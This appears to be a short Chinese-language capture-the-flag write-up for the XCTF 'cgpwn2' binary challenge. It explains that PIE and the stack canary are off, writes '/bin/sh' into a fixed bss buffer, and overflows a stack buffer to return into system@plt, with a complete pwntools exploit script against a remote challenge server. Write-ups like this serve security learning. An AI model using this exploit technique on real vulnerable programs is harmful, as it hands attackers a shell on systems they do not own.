惯例checksec
![xctf-cgpwn2[recorded] - 图1](/uploads/projects/squirre17@qqmhf7/a1c1054533b167f1548e8675c2b13d0e.png)
没开PIE和canary
![xctf-cgpwn2[recorded] - 图2](/uploads/projects/squirre17@qqmhf7/5e63a0956759abe535a7546c526cd8f9.png)
hello
![xctf-cgpwn2[recorded] - 图3](/uploads/projects/squirre17@qqmhf7/d398cc8283fb77b4eecca6a242b9c849.png)
那些都是干扰项,主要关注两个get
![xctf-cgpwn2[recorded] - 图4](/uploads/projects/squirre17@qqmhf7/ebbd7dcc66f531afd58bf0e4e5f9c3e2.png)
第一个name是bss字段,由于没开PIE,bss字段的地址是固定的,可以给我们写入binsh
![xctf-cgpwn2[recorded] - 图5](/uploads/projects/squirre17@qqmhf7/9ac1ea19aefacb80c72638e2bd424011.png)
第二个s就是栈溢出了
那么思路明确,第一次讯问时将binsh写入
第二次讯问时溢出就行了
from pwn import*p=remote("111.200.241.244",62204)context(os='Linux',arch='x86',log_level='debug')elf=ELF("target")system_plt_addr=elf.plt["system"]bin_sh_addr=0x0804A080payload=b'a'*(0x26+0x04)+p32(system_plt_addr)+b'aaaa'+p32(bin_sh_addr)p.sendlineafter("please tell me your name\n","/bin/sh" )p.sendlineafter("hello,you can leave some message here:\n",payload)p.interactive()
